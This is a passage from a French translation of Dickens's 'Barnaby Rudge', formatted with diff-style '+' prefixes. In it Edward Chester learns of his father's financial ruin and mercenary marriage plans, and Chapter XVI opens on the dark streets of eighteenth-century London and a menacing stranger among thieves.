+-- La vérité est, dit Édouard en avançant une chaise et s'asseyant
+près de la table, que j'ai mal dormi cette nuit et que j'étais
+bien aise de me lever de bonne heure. La cause de mon malaise ne
+vous est sans doute pas connue, monsieur, et c'est là-dessus que
+je désire vous parler.
+
+-- Mon cher garçon, répliqua son père, ayez confiance en moi, je
+vous en prie. Mais vous connaissez mon tempérament; pas de
+phrases.
+
+-- Je serai clair et bref, dit Édouard.
+
+-- Ne dites pas que vous le serez, mon bon garçon, répliqua son
+père en croisant ses jambes, ou vous ne le serez certainement pas.
+Vous disiez donc...
+
+-- Simplement ceci alors, dit le fils d'un air de profonde
+affliction, que je sais où vous étiez hier soir, parce que j'y
+étais moi-même, voyez-vous. Je sais qui vous y avez vu et ce que
+vous y alliez faire.
+
+-- Est-il possible! cria son père. Je suis enchanté de
+l'apprendre; cela nous épargne l'ennui, les tiraillements d'une
+explication, et c'est un grand soulagement pour nous deux. Quoi! à
+l'auberge? Que n'êtes-vous donc monté? J'aurais été charmé de vous
+voir.
+
+-- Je savais que ce que j'avais à vous dire serait mieux dit après
+une nuit de réflexion, quand nous serions tous deux à nous parler
+plus froidement, répliqua son fils.
+
+-- Devant Dieu, Ned, riposta le père, j'étais assez froidement
+hier soir. Ce détestable Maypole! Il faut que ce soit quelque
+infernale invention de celui qui l'a construit, il tient le vent
+et le garde frais. Vous vous rappelez ce vent d'est si âpre, et
+qui soufflait si fort il y a cinq semaines? Je vous en donne ma
+parole d'honneur, il avait élu domicile hier soir dans cette
+masure, quoiqu'il y eût au dehors calme plat. Mais vous alliez me
+dire...
+
+-- J'allais vous dire, Dieu sait avec quelle sérieuse conviction,
+que vous avez fait mon malheur, monsieur. Voulez-vous m'écouter un
+moment et sérieusement?
+
+-- Mon cher Ned, dit son père, je vous écouterai volontiers avec
+la patience d'un anachorète. Ayez l'obligeance de me passer le
+lait.
+
+-- J'ai vu hier soir Mlle Haredale, reprit Édouard après avoir
+accédé à cette requête; son oncle, en sa présence, immédiatement
+après votre entrevue, et, comme je suis forcé de le reconnaître,
+en conséquence de votre accord, m'a défendu sa maison, et, avec
+des circonstances outrageantes qui, j'en suis sûr, sont votre
+ouvrage, il m'a sommé de sortir à l'instant.
+
+-- Je ne suis nullement responsable, je vous en donne ma parole
+d'honneur, Ned, dit son père, de ses façons d'agir à votre égard.
+En cela, il vous faut l'excuser; c'est un vrai rustre, une bûche,
+un animal, sans l'ombre de savoir-vivre... Ah! par exemple, une
+mouche dans le pot à la crème! la première que j'aie vue de
+l'année.»
+
+Édouard se leva et fit quelques pas dans la chambre. Son
+imperturbable père but son thé à petits traits.
+
+«Père, dit le jeune homme, s'arrêtant à la fin devant lui, il n'y
+a pas à badiner en pareille matière. Nous ne devons pas nous
+tromper l'un l'autre ni nous-mêmes. Laissez-moi soutenir
+ouvertement le rôle viril que je désire prendre, et ne me
+repoussez pas par cette indifférence affligeante.
+
+-- Si je suis indifférent ou non, répliqua l'autre, c'est ce dont
+je vous laisse juge, mon cher garçon. Une course à cheval de
+vingt-cinq ou trente milles à travers des routes fangeuses; un
+dîner du Maypole, un tête-à-tête avec Haredale, ce qui, vanité à
+part, me rappelait tout à fait la scène entre Orson et Valentine;
+un lit du Maypole, un aubergiste du Maypole et un cortège du
+Maypole, composé d'un idiot et d'un centaure, j'ai supporté tout
+cela: est-ce de l'indifférence, cher Ned? n'est-ce pas plutôt
+l'excessive sollicitude, le dévouement, et toute chose analogue,
+d'un père? Je vous en fais juge vous-même.
+
+-- Je désire que vous considériez, monsieur, dit Édouard, dans
+quelle cruelle situation je suis placé. Aimant Mlle Haredale comme
+je l'aime...
+
+-- Mon cher garçon, interrompit son père avec un sourire plein de
+compassion, non, vous ne faites rien de pareil. Vous ne savez pas
+du tout ce que vous dites. Tout cela n'est pas, je vous assure.
+Maintenant, croyez ce que je vous en dis. Vous avez du bon sens,
+Ned, beaucoup de bon sens. Je m'étonne que vous puissiez commettre
+d'aussi prodigieuses absurdités. Réellement vous me surprenez.
+
+-- Je répète, dit son fils d'un ton ferme, que je l'aime. Vous
+êtes intervenu pour nous séparer, et vous y avez réussi autant que
+vous pouviez le faire: je vous en ai dit l'effet tout à l'heure.
+Est-il encore temps pour moi de vous amener, monsieur, à voir
+notre attachement d'un oeil plus favorable? ou bien est-ce votre
+intention et votre immuable résolution de nous tenir séparés si
+vous pouvez?
+
+-- Mon cher Ned, répliqua son père en prenant une prise de tabac
+et lui poussant sa tabatière, c'est mon dessein indubitablement.
+
+-- Le temps qui s'est écoulé, répondit son fils, depuis que j'ai
+commencé à connaître ce qu'elle vaut, a fui dans un tel rêve que
+j'ai pu à peine jusqu'à présent m'arrêter à réfléchir sur ma
+position. Que vous dirai-je? Dès l'enfance, j'ai été accoutumé au
+luxe et à l'oisiveté, j'ai été élevé comme si ma fortune était
+considérable, et mes espérances presque sans limites. On m'a
+familiarisé dans mon berceau avec l'idée de la fortune. On m'a
+appris à regarder ces moyens, par lesquels les hommes parviennent
+à la richesse et aux distinctions, comme indignes de mes soins et
+de mes efforts. J'ai reçu suivant l'expression consacrée, une
+éducation libérale, ce qui fait que je ne suis propre à rien. Je
+me trouve finalement dépendre tout à fait de vous, et n'avoir pas
+d'autre ressource que dans votre bienveillance. Sur cette question
+de la dernière importance pour mon avenir, nous ne sommes point
+d'accord, et il ne semble guère que nous puissions l'être jamais.
+Je me suis senti une répugnance instinctive, aussi bien pour les
+personnes auxquelles vous m'aviez pressé de faire ma cour, que
+pour les motifs d'intérêt et de lucre[16] qui vous faisaient
+souhaiter qu'elles devinssent mon point de mire. S'il n'y a pas eu
+jusqu'ici de franche explication entre nous, monsieur, ce n'est
+certes pas ma faute. S'il vous semble que je vous parle maintenant
+avec trop de franchise, je le fais, croyez-moi, mon père, dans
+l'espoir qu'il y aura entre nous à l'avenir plus de franchise, une
+plus digne confiance et un plus tendre épanchement.
+
+-- Mon bon garçon, dit en souriant son père, vous me touchez tout
+à fait. Continuez, je vous prie, mon cher Édouard Mais rappelez-
+vous votre promesse. Il y a un grand sérieux, une immense candeur,
+une évidente sincérité dans tout ce que vous dites, mais j'ai bien
+peur d'y trouver la trace d'une vague tendance à faire des
+phrases.
+
+-- J'en suis très fâché, monsieur.
+
+-- J'en suis très fâché aussi, Ned, mais vous savez qu'il m'est
+impossible de fixer mon esprit sur une longue période à la fois.
+Si vous voulez aller d'un seul coup au point capital, j'imaginerai
+tout ce qui doit précéder, et je supposerai que cela a été dit.
+Ayez l'obligeance de me passer encore le lait. Voyez-vous, c'est
+plus fort que moi, cela me donne la fièvre.
+
+-- Voici donc en résumé ce que j'aurais voulu vous dire, reprit
+Édouard Je ne saurais supporter de dépendre absolument de
+quelqu'un, même de vous, monsieur. J'ai perdu bien du temps, j'ai
+jeté à mes pieds bien des occasions propices, mais je suis encore
+jeune, et cela peut se réparer. Me fournirez-vous les moyens de
+dévouer les talents et toute l'énergie que j'ai en partage à
+quelque but digne de mes efforts? Me laisserez-vous tenter de me
+frayer moi-même un honorable chemin dans la vie? Pendant tout ce
+laps de temps qu'il vous plaira de me fixer, cinq ans, par
+exemple, si cela vous convient, je m'engage à ne pas faire, sur le
+terrain où nous sommes en désaccord, un pas de plus sans votre
+plein concours. Durant cette période, je tâcherai aussi
+sérieusement, aussi patiemment que n'importe qui, de m'ouvrir
+quelque perspective d'avenir, et de vous délivrer du fardeau que
+vous pourriez craindre de voir retomber sur vous si j'épousais une
+femme dont le mérite et la beauté sont les principaux avantages.
+Consentez-vous à cela, monsieur? À l'expiration du terme convenu,
+ce sujet sera discuté de nouveau. Jusque-là donc, à moins que vous
+ne le remettiez sur le tapis vous-même, qu'il n'en soit plus
+question entre nous.
+
+-- Mon cher Ned, répliqua son père, en déposant le journal qu'il
+avait négligemment parcouru et se rejetant en arrière sur son
+siège dans l'embrasure de la fenêtre, vous savez, je crois,
+combien j'aime peu ce qu'on appelle affaires de famille, cela
+n'est bon, suivant la coutume plébéienne, qu'aux jours de Noël, et
+n'a pas le moindre rapport avec des gens de notre condition. Mais
+comme votre plan de conduite roule sur un malentendu, Ned,
+absolument sur un malentendu, je surmonterai ma répugnance à
+traiter des matières pareilles, et je vous répondrai d'une façon
+parfaitement claire et candide, si vous voulez bien avoir la
+complaisance de fermer la porte.»
+
+Édouard lui ayant obéi, il tira de sa poche un élégant petit
+couteau, et se faisant les ongles, il continua:
+
+«Vous avez à me remercier, Ned d'être de bonne famille: car votre
+mère, qui était une charmante femme, et qui m'a laissé presque le
+coeur brisé (je vous fais grâce des autres locutions d'usage)
+lorsqu'elle fut prématurément contrainte de me quitter pour
+devenir immortelle, n'avait pas de quoi se vanter sur le chapitre
+de la naissance.
+
+-- Son père était du moins monsieur un légiste éminent, dit
+Édouard.
+
+-- C'est juste Ned, parfaitement juste. Il avait une haute
+position au barreau, un grand nom et une grande fortune, mais il
+n'était pas né. J'ai toujours fermé mes yeux et obstinément
+résisté à cette considération, mais je crains fort que le père de
+votre grand-père maternel n'ait vendu de la charcuterie et que son
+commerce n'ait cumulé les pieds de veau et les saucisses. Il
+désirait marier sa fille dans une bonne famille. Le voeu de son
+coeur fut accompli, Ned. J'étais le cadet d'un cadet, j'épousai
+votre mère. Nous avions chacun notre but, qui fut atteint. Elle
+entra tout d'un coup dans les cercles les plus distingués, dans le
+meilleur monde, et moi j'entrai en possession d'une fortune qui,
+je vous l'assure, était très nécessaire à mon confort, tout à fait
+indispensable. Maintenant, mon bon garçon, cette fortune est du
+nombre des choses qui ont été. Elle est partie, Ned, il y a
+déjà... Quel est votre âge? je l'oublie toujours.
+
+-- Vingt-sept ans, monsieur.
+
+-- Auriez-vous vraiment cet âge-là? cria son père, en soulevant
+ses paupières avec une languissante surprise. Déjà! Il faut donc
+vous dire, Ned, que la queue de cette comète brillante qu'on
+appelait ma fortune a disparu de l'horizon il y a environ, autant
+que je peux me le rappeler, dix-huit ou dix-neuf ans. Ce fut vers
+cette époque que je vins occuper cet appartement (qu'occupa jadis
+votre grand-père, et que m'a légué cette personne extrêmement
+respectable), et c'est alors que je commençai à vivre d'une
+pension assez chétive et de ma réputation passée.
+
+-- Vous plaisantez avec moi, monsieur, dit Édouard.
+
+-- Pas le moins du monde, je vous l'assure, répliqua son père avec
+un grand calme. Ces questions domestiques sont excessivement
+arides, et n'admettent pas, je le dis à mon profond regret, la
+plaisanterie: ce serait au moins une consolation. C'est pour cette
+raison et parce que je n'aime pas ce qui ressemble à une affaire
+que je ne peux pas les souffrir. Eh bien, vous savez le reste. Un
+fils, Ned, sauf lorsque son âge nous en fait un compagnon, c'est-
+à-dire lorsqu'il n'a que vingt-deux ou vingt-trois ans, n'est pas
+quelque chose d'agréable à avoir autour de soi. C'est une gêne
+pour son père, comme son père est une gêne pour lui; ils portent
+atteinte l'un et l'autre à leur mutuel bien-être. C'est pourquoi,
+jusqu'à ces quatre dernières années ou environ... j'ai une pauvre
+mémoire en fait de dates, mais vous rectifierez cela dans votre
+esprit... vous avez poursuivi vos études à distance, et amassé une
+grande variété de talents. Nous avons passé ici, dans l'occasion,
+une semaine ou deux ensemble, et nous ne nous sommes incommodés
+que comme de si proches parents peuvent le faire. Enfin vous êtes
+revenu à la maison. Et je vous dirai avec candeur, mon cher
+enfant, que, si vous aviez été un de ces grands dadais comme j'en
+vois, je vous eusse exporté au bout du monde.
+
+-- Je regrette de tout mon coeur que vous ne l'ayez pas fait,
+monsieur, dit Édouard.
+
+-- Non, vous ne le regrettez pas, Ned, répliqua froidement son
+père. Vous êtes dans l'erreur, je vous l'assure. J'ai trouvé en
+vous un beau garçon, qui prévient en sa faveur, qui a de
+l'élégance, et je vous ai lancé dans un monde où je commande
+encore. En cela, mon cher garçon, j'estime que j'ai pourvu à votre
+avenir, et je compte que vous ferez quelque chose afin de pourvoir
+en revanche au mien.
+
+-- Je ne comprends pas votre pensée, monsieur, dit Édouard.
+
+-- Ma pensée, Ned, est facile à saisir... Encore une mouche dans
+le pot à crème! Mais ayez la bonté de ne pas la poser là comme
+vous avez fait la première fois: car, lorsqu'elles marchent avec
+leurs pattes toutes pleines de lait, il n'y a rien de plus
+disgracieux et de plus désagréable... Ma pensée est que vous devez
+faire ce que j'ai fait, que vous devez faire un bon mariage et
+tirer le meilleur parti possible de vous-même.
+
+-- Un véritable coureur de fortune! cria le fils, d'un air
+indigné.
+
+-- Mais, au nom du diable, Ned, que voulez-vous donc être?
+répliqua le père. Tous les hommes ne sont-ils pas des coureurs de
+fortune? La magistrature, l'Église, la cour, l'armée, voyez comme
+tout cela est encombré de coureurs de fortune, qui se heurtent les
+uns les autres dans leur poursuite. La Bourse, la chaire, le
+comptoir, le salon royal, les chambres, qu'est ce qui remplit tout
+cela, sinon des coureurs de fortune? Un coureur de fortune! oui,
+vous en êtes un, et vous ne seriez pas autre chose, mon cher Ned,
+si vous étiez le plus grand courtisan, légiste, législateur,
+prélat ou marchand, qu'il y eût au monde. Si vous vous piquez de
+délicatesse, de moralité, Ned, consolez-vous par cette réflexion
+qu'en vous faisant un coureur de fortune, vous ne pouvez, au pis,
+que rendre une seule personne misérable ou malheureuse. Combien
+supposez vous que ces chasseurs d'une autre espèce écrasent de
+gens lorsqu'ils courent après la fortune? Des centaines à chaque
+pas, ou des milliers?»
+
+Le jeune homme, sans répondre, appuya sa tête sur sa main.
+
+«Je suis tout à fait charmé, dit le père, qui se leva et se
+promena lentement ça et là, s'arrêtant de temps en temps pour se
+regarder dans une glace, ou pour examiner un tableau avec son
+lorgnon, d'un air de connaisseur, que nous ayons eu cette
+conversation, Ned, si peu attrayante qu'elle fût. Cela établit
+entre nous une confiance qui est tout à fait délicieuse, et qui
+était certainement nécessaire, quoique je ne puisse pas concevoir,
+je vous l'avoue, que vous ayez jamais pu vous méprendre sur notre
+position et sur mes desseins. Je me suis persuadé, jusqu'à ce que
+j'eusse découvert votre caprice pour cette jeune fille, que tous
+ces points-là étaient tacitement convenus entre nous.
+
+-- Je savais vos embarras de fortune, monsieur, répliqua le fils,
+en relevant sa tête un moment et retombant ensuite dans sa
+première attitude, mais je n'avais aucune idée que nous fussions
+des misérables, réduits à la mendicité, comme vous venez de nous
+dépeindre. Comment pouvais-je le supposer, élevé comme je l'ai
+été, témoin de la vie que vous avez toujours menée et du train de
+maison que vous avez toujours eu?
+
+-- Non, cher enfant dit le père; car en réalité vous parlez si
+bien comme un enfant, que je ne peux pas vous donner d'autre nom;
+vous avez été élevé d'après un principe de haute prudence, le
+style de votre éducation, je vous l'assure, a maintenu mon crédit
+d'une façon étonnante. Quant à la vie que je mène, il faut que je
+la mène, Ned. Il faut que j'aie autour de moi ces petits
+raffinements. J'ai toujours été habitué à les avoir, je ne saurais
+exister sans cela. Il faut que j'en sois environné, comme vous
+voyez, et c'est pour cela que j'y tiens. Quant à notre situation
+financière, Ned, vous pouvez mettre votre esprit en repos sur cet
+article. Elle est désespérée. Votre représentation personnelle
+n'est nullement méprisable, et l'argent réuni de nos menus
+plaisirs dévore à lui seul notre revenu. Voilà la vérité.
+
+-- Pourquoi ne l'ai-je pas connue plus tôt? Pourquoi m'avez-vous
+encouragé, monsieur, à des dépenses et à un genre de vie auxquels
+nous n'avons ni droit ni titre?
+
+-- Mon bon garçon, répliqua son père d'une voix plus compatissante
+que jamais, si vous n'aviez pas de représentation, comment auriez-
+vous chance de réussir à faire le mariage que je vous destine?
+Quant à notre genre de vie, tout homme a le droit de vivre le
+mieux qu'il peut et de se procurer autant de confort qu'il peut,
+ou c'est un gredin dénaturé. Nos dettes sont grandes, j'en
+conviens, il vous sied donc, à vous qui êtes un jeune homme muni
+de principes d'honneur, de payer nos dettes le plus diligemment
+possible.
+
+-- Quel rôle de scélérat, marmotta Édouard, j'ai joué à mon insu!
+moi conquérir le coeur d'Emma Haredale! Je voudrais, par pitié
+pour elle, être mort avant!
+
+-- Je suis bien aise que vous voyiez, Ned, répliqua son père, une
+chose qui est de la plus parfaite évidence, c'est-à-dire qu'il n'y
+a rien à faire de ce côte-là. Mais à part ceci, et la nécessité de
+vous pourvoir avec diligence d'un autre côté (comme vous savez que
+vous le pouvez dès demain, si vous voulez), je désirerais que vous
+pussiez envisager avec plaisir l'événement. Au seul point de vue
+religieux, est-ce que vous devriez jamais songer à une union avec
+une catholique... à moins qu'elle ne fût prodigieusement riche?
+vous qui devez être un si bon protestant, puisque vous sortez
+d'une si bonne famille protestante! Soyons moraux, Ned, ou nous ne
+sommes rien. Quand même on écarterait cette objection, ce qui est
+impossible, nous arrivons à une autre qui est tout à fait
+décisive. La simple idée d'épouser une jeune fille dont le père a
+été assassiné, haché comme chair à pâté! bon Dieu, Ned, y a-t-il
+une idée plus désagréable? Réfléchissez à l'impossibilité d'avoir
+quelque respect pour votre beau-père dans des circonstances si
+déplaisantes; pensez que, ayant été l'objet de l'examen des jurés,
+de l'autopsie des coroners, il ne peut avoir en conséquence qu'une
+position très équivoque au sein de sa famille. Cela me semble
+quelque chose de si contraire à la délicatesse des idées, que,
+dans ma conviction, l'État aurait dû mettre à mort la jeune fille,
+pour prévenir les suites. Mais je vous ennuie peut-être; vous
+préféreriez être seul? Je vous laisserai seul, mon cher Ned, très
+volontiers. Dieu vous bénisse! Je vais sortir tout à l'heure, mais
+nous nous retrouverons ce soir, ou sinon ce soir, certainement
+demain. Ayez soin de vous d'ici là, pour l'amour de vous et pour
+l'amour de moi. Vous êtes une personne dont la santé est d'un
+grand intérêt pour moi, Ned, d'une importance énorme, en vérité.
+Dieu vous bénisse!»
+
+Cela dit, le père, qui avait arrangé sa cravate devant la glace
+pendant qu'il parlait avec une négligence décousue, quitta
+l'appartement en fredonnant un air. Le fils, qui avait paru plongé
+dans ses pensées au point de ne pas entendre ni comprendre ce que
+son père disait, resta tout à fait immobile et silencieux. Au bout
+d'une demi-heure ou environ, Chester père, dans une fraîche
+toilette, sortit. Chester fils resta toujours assis et immobile,
+sa tête appuyée sur ses mains; il semblait être devenu stupide.
+
+
+
+
+CHAPITRE XVI.
+
+
+Une série de peintures représentant les rues de Londres la nuit, à
+la date comparativement récente de cette histoire, offrirait aux
+yeux quelque chose d'un caractère si différent de la réalité dont
+nous sommes aujourd'hui les témoins, qu'il serait difficile pour
+le spectateur de reconnaître ses plus familières promenades à la
+distance d'un demi-siècle ou à peu près.
+
+Elles étaient, depuis la première jusqu'à la dernière, depuis la
+plus large et la plus belle jusqu'à la plus étroite et la moins
+fréquentée, fort ténébreuses. Les réverbères à mèche de coton
+imbibée d'huile, quoique régulièrement visités deux ou trois fois
+durant les longues nuits d'hiver, ne brûlaient qu'à peine dans les
+meilleurs cas, et à une heure avancée, lorsqu'ils n'avaient plus
+l'assistance des lampes et des chandelles des boutiques, ils ne
+projetaient sur le trottoir qu'une traînée de lumière douteuse,
+laissant les portes en saillie et les façades des maisons dans la
+plus profonde obscurité. Une foule de cours et de ruelles étaient
+totalement abandonnées aux ténèbres. Les voies publiques d'un
+ordre inférieur où une faible lumière clignotait pour une
+vingtaine de maisons, passaient pour être très favorisées. Même
+dans ces quartiers, les habitants avaient souvent de bons motifs
+pour éteindre leur réverbère aussitôt qu'on l'allumait, et la
+surveillance étant impuissante à les empêcher de le faire, ils ne
+se gênaient pas pour recommencer selon leur bon plaisir. Ainsi,
+dans les passages les mieux éclairés, il y avait à chaque
+tournant, quelque place obscure et dangereuse où un voleur pouvait
+se sauver et se cacher et où peu de gens se souciaient de le
+suivre, et la cité était alors séparée des faubourgs, qui l'ont
+rejointe depuis par une ceinture de champs, d'allées vertes de
+terres incultes, de routes solitaires, qui permettaient au
+malfaiteur, même quand la poursuite était vive, de s'échapper
+aisément.
+
+Il ne faut pas s'étonner qu'à la faveur de ces circonstances en
+pleine et incessante activité, des vols dans les rues, vols
+souvent accompagnés de cruelles blessures, et maintes fois de mort
+d'homme, eussent lieu nuitamment au coeur même de Londres, ni que
+les gens paisibles éprouvassent une grande frayeur à traverser ses
+rues quand les boutiques étaient fermées. Pour ceux qui rentraient
+seuls chez eux à minuit, c'était une habitude assez commune de
+tenir le milieu de la chaussée afin d'être mieux en garde contre
+les voleurs en embuscade sur les bas-côtés; on y regardait pour
+s'en retourner, sur le tard à Kentish Town ou à Hampstead, ou même
+à Kensington et à Chelsea, sans armes et sans escorte, celui-là
+qui venait de faire blanc de son épée au souper de la taverne, et
+qui n'avait qu'un mille environ à faire, n'était pas fâché de
+payer un porteur de torche pour se faire escorter jusque chez lui.
+
+Beaucoup d'autres détails caractéristiques, pas tout à fait si
+désagréables se voyaient alors à Londres dans les voies de
+circulation, détails avec lesquels on était depuis longtemps
+familiarisé. Quelques boutiques, spécialement celles du côté
+oriental de Temple-Bar, adhéraient encore à l'ancien usage de
+suspendre à l'extérieur une enseigne, et ces belles images, en
+criant et se balançant dans leurs cadres de fer durant les nuits
+vendeuses, formaient, pour les oreilles de ceux qui étaient au
+lit, mais réveillés, ou de ceux qui traversaient les rues
+précipitamment, un concert étrange et lamentable. De longues
+stations de voitures de louage et des groupes de porteurs de
+chaise, en comparaison desquels les cochers d'à présent sont doux
+et polis, obstruaient la voie publique et remplissaient l'air de
+clameurs. Les caveaux nocturnes indiqués par un petit courant de
+lumière qui, franchissant le trottoir, s'étendait jusqu'au milieu
+de la rue, et par le tapage étouffé des voix d'en bas restaient
+béants pour recevoir et régaler les êtres les plus dépravés des
+deux sexes. Sous chaque auvent et à l'encoignure de chaque édifice
+des porteurs de torches, en petits groupes perdaient au jeu leur
+gain de la journée, ou l'un deux, plus las que les autres cédait
+au sommeil, et laissait le reste de sa torche tomber en sifflant
+sur le sol bourbeux.
+
+Il y avait aussi le veilleur avec son bâton et sa lanterne, criant
+l'heure qu'il était et le temps qu'il faisait, et ceux qui,
+réveillés à sa voix, se retournaient dans leur lit, ne l'en
+trouvaient que meilleur en apprenant avec plaisir qu'il pleuvait
+ou qu'il neigeait, ou qu'il ventait, ou qu'il gelait, sans qu'ils
+en souffrissent en rien dans leur confort. Le passant solitaire
+tressaillait au cri des porteurs de chaise: «Place, s'il vous
+plaît!» lorsque deux de ces hommes arrivaient en trottant et le
+dépassaient avec leur véhicule à vide, renversé en arrière pour
+montrer qu'il était libre, en se précipitant vers la station la
+plus proche. Mainte chaise particulière renfermant quelque belle
+dame monstrueusement garnie de cerceaux et de falbalas, et
+précédée de coureurs portant des flambeaux, dont les éteignoirs
+sont encore suspendus devant la porte d'un petit nombre de maisons
+du meilleur genre, donnait à la rue un moment de gaieté et de
+légèreté, pendant qu'elle y passait en dansant, pour la rendre
+plus sombre et plus sinistre encore lorsqu'elle avait passé. Ce
+n'était pas chose rare, pour ces coureurs, qui menaient tout le
+monde tambour battant, de se prendre de querelle dans la salle des
+domestiques tandis qu'ils attendaient leurs maîtres et leurs
+maîtresses; d'en venir aux coups soit là, soit dehors dans la rue,
+et de joncher le lieu de l'escarmouche de poudre à cheveux, de
+morceaux de perruques et de bouquets éparpillés. Le jeu, ce vice
+si répandu dans tous les rangs (il était mis naturellement à la
+mode par l'exemple des classes supérieures) était en général la
+cause de ces disputes; car les cartes et les dés s'étalaient aussi
+à découvert, enfantaient autant de mal, et produisaient une
+excitation aussi grande dans les vestibules que dans les salons.
+Tandis que des incidents de ce genre, provenant de soirées, de
+mascarades ou de parties au quadrille[17], se passaient à
+l'extrémité orientale de la ville, de lourdes diligences et des
+charrettes massives (il n'y avait pas d'ailleurs grande différence
+de vitesse) roulaient lentement leur cargaison vers la cité; le
+cocher, le conducteur, les voyageurs, étaient armés jusqu'aux
+dents; la diligence, en retard d'un jour ou deux peut-être, mais
+on n'y regardait pas de si près, était dévalisée par des voleurs
+de grand chemin. Ces voleurs-là ne se faisaient pas scrupule
+d'attaquer, souvent seuls de leur bande, toute une caravane
+d'hommes et de marchandises; ils tuaient quelquefois à coups de
+fusil un voyageur ou deux; quelquefois aussi ils se faisaient tuer
+eux-mêmes, selon que le cas se présentait. Le lendemain, le bruit
+de ce nouvel acte d'audace sur les routes parcourait la ville et
+fournissait matière aux conversations pendant quelques heures.
+Puis une procession publique de quelques beaux gentlemen (à moitié
+ivres), dirigés sur Tyburn, habillés à la dernière mode, et
+maudissant l'aumônier de la prison avec une bravoure et une grâce
+inexprimables, offrait à la populace un agréable divertissement en
+même temps qu'un grand et salutaire exemple.
+
+Parmi tous les redoutables individus qui, profitant d'un tel état
+de société, rôdaient et se cachaient la nuit dans la capitale, il
+y avait un homme dont beaucoup d'autres, aussi rudes et aussi
+farouches que lui, s'écartaient avec une terreur involontaire. Qui
+il était, d'où il venait, c'était une question souvent faite, mais
+à laquelle personne ne pouvait répondre. On ignorait son nom; il
+n'y avait pas plus de huit jours qu'on l'avait vu pour la première
+fois, et il était également inconnu des vieux et des jeunes
+scélérats dont il s'aventurait sans crainte à hanter les repaires.
+Ce ne pouvait être un espion, car il ne relevait jamais son
+chapeau rabattu pour regarder autour de lui; il n'entrait en
+conversation avec personne, ne s'occupait en rien de ce qui se
+passait, n'écoutait aucun discours, n'examinait ni ceux qui
+arrivaient ni ceux qui s'en allaient. Mais aussitôt qu'on était au
+fort de la nuit, on était sûr de le retrouver au milieu de la
+cohue des caveaux nocturnes où se rendaient les bandits de tout
+grade; et il y restait assis jusqu'au matin.
+
+Ce n'était pas seulement à leurs fêtes licencieuses qu'il avait
+l'air d'un spectre, de quelque chose qui les glaçait au milieu de
+leur bruyante gogaille, et les obsédait comme un fantôme; sorti de
+là, il était le même. Dès qu'il faisait sombre, il était dehors,
+jamais en compagnie de qui que ce fût, mais toujours seul; jamais
+ne s'arrêtant, ne flânant, mais toujours marchant d'un pas rapide,
+regardant par-dessus son épaule de temps en temps, et, après avoir
+regardé ainsi, accélérant son pas. Dans les champs, dans les
+sentiers, dans les routes, dans tous les quartiers de la ville,
+est, ouest, nord et sud, on voyait cet homme glisser comme une
+ombre. Il était toujours pressé. Ceux qui le rencontraient le
+voyaient passer bien vite; ils surprenaient son coup d'oeil en
+arrière, et le voyaient se perdre dans l'obscurité.
+
+Cette constante agitation, cette fuite errante et perpétuelle,
+donnaient naissance à d'étranges histoires; on l'avait vu en des
+endroits si éloignés l'un de l'autre et à des heures si
+rapprochées, qu'il y avait des gens qui n'étaient pas bien sûrs,
+qu'au lieu d'être tout seul, cet homme-là ne fût pas double ou
+triple, avec des moyens surnaturels pour voyager d'un endroit à un
+autre. Le voleur à pied qui se cachait dans un fossé l'avait
+remarqué passant comme un spectre le long du bord; le vagabond
+l'avait vu sur la grande route ténébreuse; le mendiant l'avait vu
+s'arrêter sur un pont, baisser la tête pour regarder l'eau, puis
+filer encore; ceux qui trafiquaient des cadavres avec les
+chirurgiens pouvaient jurer qu'il couchait dans des cimetières, et
+qu'ils l'avaient vu fuir en glissant parmi les tombes, à leur
+approche. Et, lorsqu'on se racontait ces histoires à l'oreille
+l'un de l'autre, on était tout étonné que le narrateur, après
+avoir regardé autour de lui, tirait son auditeur par la manche
+pour lui dire: «Chut! il est là.»
+
+Enfin un homme, un de ceux qui travaillent dans le cadavre,
+résolut de questionner cet étrange compagnon. La nuit suivante,
+quand l'autre eut mangé sa pauvre pitance avec voracité (on avait
+observé que c'était sa coutume de manger de la sorte, comme s'il
+ne faisait pas d'autres repas de tout le jour), notre gaillard
+vint s'asseoir auprès de l'inconnu, coude à coude.
+
+«Une sombre nuit, maître!
+
+-- Oui, une sombre nuit.
+
+-- Plus sombre que la dernière, bien qu'elle fût noire comme de la
+poix. N'est-ce pas vous que j'ai croisé proche la barrière, sur la
+route d'Oxford?
+
+-- Comme il vous plaira. Je ne sais pas.
+
+-- Allons, allons, maître, cria le questionneur, encouragé par les
+regards de ses camarades et lui tapant sur l'épaule, soyez donc
+plus sociable, plus communicatif. Il faut se conduire en gentleman
+quand on est en si bonne compagnie. Il circule des histoires parmi
+nous que vous êtes vendu au diable, et que sais-je encore?
+
+-- Est-ce que nous ne le sommes pas tous ici? répliqua l'inconnu
+en redressant la tête. Si nous étions moins nombreux, peut-être
+nous donnerait-il un meilleur prix.
+
+-- Ma foi! ça ne vous profite pas beaucoup, en effet, dit le
+loustic, lorsque l'inconnu laissa voir sa sauvage figure toute
+crasseuse et ses vêtements en lambeaux. Qu'est-ce que ça veut
+dire? Allons! gai, gai, mon maître! un couplet de chansonnette à
+nous faire rire aux éclats!
+
+-- Si vous voulez entendre chanter, vous n'avez qu'à chanter vous-
+même, répliqua l'autre en l'écartant avec rudesse; mais ne me
+touchez pas, pour peu que vous ayez de prudence. Je porte des
+armes qui partent aisément; elles l'ont déjà fait avant cette
+heure-ci, et des étrangers qui n'en savent pas le truc s'exposent
+en mettant la main sur moi.
+
+-- Est-ce une menace? dit le questionneur.
+
+-- Oui,» répliqua l'inconnu en se levant, se tournant vers lui, et
+regardant à la ronde avec un air farouche, comme dans
+l'appréhension d'une attaque générale.
+
+Sa voix, son regard, son attitude, exprimant la scélératesse qui
+ne calcule rien et qui est capable de tout, domptèrent
+l'assistance par le dégoût autant que par la crainte. Quoique dans
+une sphère très différente, c'était encore l'effet déjà produit au
+Maypole.
+
+«Je suis ce que vous êtes tous, et je vis comme vous vivez tous,
+dit l'inconnu d'un ton sévère après un court silence. Je me cache
+ici comme les autres, et, si nous étions surpris, je jouerais
+peut-être mon rôle avec les meilleurs d'entre vous. Si mon humeur
+est qu'on me laisse tranquille, laissez-moi tranquille, ou bien,
+et il fit alors un terrible jurement, il y aura quelque mauvais
+coup de fait dans ce lieu quoique vous soyez plus de vingt contre
+moi.»
+
+Un sourd murmure, qui tenait peut-être à la terreur qu'inspirait
+l'homme et au mystère qui l'environnait peut-être aussi à la
+sincère opinion de quelques-uns des spectateurs, que ce serait un
+fâcheux précédent de se mêler d'une façon trop curieuse des
+affaires personnelles d'un gentleman quand il juge à propos de les
+celer, avertit l'auteur de la querelle qu'il n'avait rien de mieux
